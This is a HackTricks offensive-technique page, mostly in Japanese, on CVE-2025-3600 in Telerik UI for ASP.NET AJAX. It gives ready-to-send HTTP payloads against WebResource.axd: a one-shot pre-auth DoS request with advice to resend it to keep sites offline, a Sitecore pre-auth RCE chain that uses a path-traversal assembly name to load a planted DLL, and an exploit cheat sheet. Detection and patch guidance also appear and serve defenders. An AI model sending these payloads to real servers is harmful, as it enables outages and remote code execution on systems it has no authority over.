Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler はユニバーサルな DoS を引き起こし、多くのアプリではターゲット固有の gadgets を悪用することで pre‑auth RCE を可能にします (CVE-2025-3600)。

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler)。多くの製品で pre‑auth に晒されています。
  • Primitive: 攻撃者が型名 (prtype) を制御します。ハンドラはそれを Type.GetType() で解決し、interface の型安全性を検証する前に Activator.CreateInstance() を呼び出します。public なパラメータ無しの .NET 型コンストラクタは実行されます。
  • Impact:
    • ユニバーサルな pre‑auth DoS(.NET framework の gadget、例: PowerShell WSMan finalizer を利用)。
    • 多くの実運用環境では、アプリ固有の gadgets(特に安全でない AppDomain.AssemblyResolve ハンドラなど)を悪用して pre‑auth RCE にエスカレートすることが多いです。
  • Fix: Telerik UI for ASP.NET AJAX を 2025.1.416+ にアップデートするか、ハンドラを削除/ロックしてください。

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) が脆弱です。
  • Fixed in 2025.1.416 (released 2025-04-30)。直ちにパッチを適用するかハンドラを削除/ロックダウンしてください。

Affected surface and quick discovery

  • チェック方法:
    • GET /Telerik.Web.UI.WebResource.axd が 404/403 以外を返す場合、ハンドラが接続されています。
    • web.config を確認し、Telerik.Web.UI.WebResource.axd にマップされた handlers を探します。
    • 脆弱なコードパスをトリガーするには: type=iec, dkey=1, および prtype= が必要です。

Example probe and generic trigger:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

注意

  • 一部の PoCs は dtype を使用します; 実装はダウンロードフローで dkey=="1" をチェックします。
  • prtype は assembly-qualified であるか、現在の AppDomain で解決可能である必要があります。

根本原因 – unsafe reflection in ImageEditorCacheHandler

Image Editor のキャッシュダウンロードフローは prtype で指定された型のインスタンスを生成し、後でそれを ICacheImageProvider にキャストしてダウンロードキーを検証します。検証が失敗する時点では、コンストラクタは既に実行されています。

関連する逆コンパイル済みフロー
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Exploit primitive: 制御された型文字列 → Type.GetType が解決し → Activator.CreateInstance が public のパラメータなしコンストラクタを実行します。リクエストがその後拒否されても、gadget の副作用は既に発生しています。

Universal DoS gadget (no app-specific gadgets required)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) は、未初期化のハンドルを破棄するファイナライザを持っており、GC がファイナライズすると未処理の例外を引き起こします。これにより、インスタンス化後まもなく IIS ワーカープロセスが確実にクラッシュします。

One‑shot DoS request:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

注意

  • サイトをオフラインのままにするために定期的に送信を続ける。debuggerでconstructorがヒットするのを観察できる場合がある;クラッシュはfinalization時に発生する。

DoSからRCEへ – エスカレーションパターン

Unsafe constructor execution により、ターゲット固有の多数のガジェットやチェーンが利用可能になる。以下を探す:

  1. Parameterless constructors that process attacker input
  • 一部の ctors(または static initializers)は即座に Request query/body/cookies/headers を読み取り、それらを (de)serialize する。
  • 例(Sitecore):ctor チェーンが GetLayoutDefinition() に到達し、HTTP body の "layout" を読み取り、JSON.NET を介して JSON をデシリアライズする。
  1. Constructors that touch files
  • Ctros がディスクから config/blobs をロードまたはデシリアライズする場合、これらのパス(uploads/temp/data フォルダなど)に書き込み可能なら強制できる。
  1. Constructors performing app-specific ops
  • 状態のリセット、モジュールの切り替え、またはプロセスの終了。
  1. Constructors/static ctors that register AppDomain event handlers
  • 多くのアプリは AppDomain.CurrentDomain.AssemblyResolve ハンドラを追加し、args.Name から DLL パスを組み立てるがサニタイズしない。type resolution に影響を与えられるなら、attacker‑controlled paths から任意の DLL ロードを強制できる。
  1. Forcing AssemblyResolve via Type.GetType
  • Type.GetType を介して AssemblyResolve を強制する

Request で存在しない型を要求して CLR 解決を強制し、登録された(場合によっては安全でない)リゾルバを呼び出す。例: assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr
  1. 破壊的な副作用を持つファイナライザ
  • 一部の型はファイナライザ内で固定パスのファイルを削除します。シンボリックリンク追従や予測可能なパスと組み合わせると、特定の環境でローカル権限昇格を引き起こす可能性があります。

例 — pre‑auth RCE chain (Sitecore XP)

  • ステップ 1 – Pre‑auth: static/instance ctor が安全でない AssemblyResolve handler を登録する型をトリガーする (e.g., Sitecore’s FolderControlSource in ControlFactory).
  • ステップ 2 – Post‑auth: resolver-probed directory への書き込み権を取得(例: 認証バイパスや弱いアップロード経由)して、悪意のある DLL を配置する。
  • ステップ 3 – Pre‑auth: 存在しない型とトラバーサルを含む assembly 名を用いて CVE‑2025‑3600 を悪用し、リゾルバに植えた DLL をロードさせる → IIS ワーカーとしてコード実行。

トリガーの例

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

検証、ハンティング、DFIR のメモ

  • Safe lab validation: DoS ペイロードを発動し、WSMan finalizer に関連する app pool のリサイクルや未処理例外を監視する。
  • テレメトリでの探索:
  • type=iec および不審な prtype 値を伴う /Telerik.Web.UI.WebResource.axd へのリクエスト。
  • 型のロード失敗や AppDomain.AssemblyResolve イベント。
  • そのようなリクエスト後の突発的な w3wp.exe のクラッシュ/リサイクル。

Mitigation

  • Telerik UI for ASP.NET AJAX を 2025.1.416 以降にパッチ適用する。
  • 可能な限り Telerik.Web.UI.WebResource.axd の公開を削除または制限する(WAF/rewrites)。
  • サーバ側で prtype の処理を無視するか強化する(アップグレードではインスタンス化前に適切なチェックを行う)。
  • カスタム AppDomain.AssemblyResolve ハンドラを監査し強化する。args.Name からサニタイズせずにパスを生成することは避け、strong-named のロードやホワイトリストを優先する。
  • アップロード/書き込み先を制限し、プローブされるディレクトリへの DLL のドロップを防止する。
  • 存在しない型のロード試行を監視して、resolver の悪用を検出する。

チートシート

  • 存在確認:
  • GET /Telerik.Web.UI.WebResource.axd
  • web.config にハンドラのマッピングを確認する
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • トリガーリゾルバ:
This.Class.Does.Not.Exist, watchTowr

関連技術

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする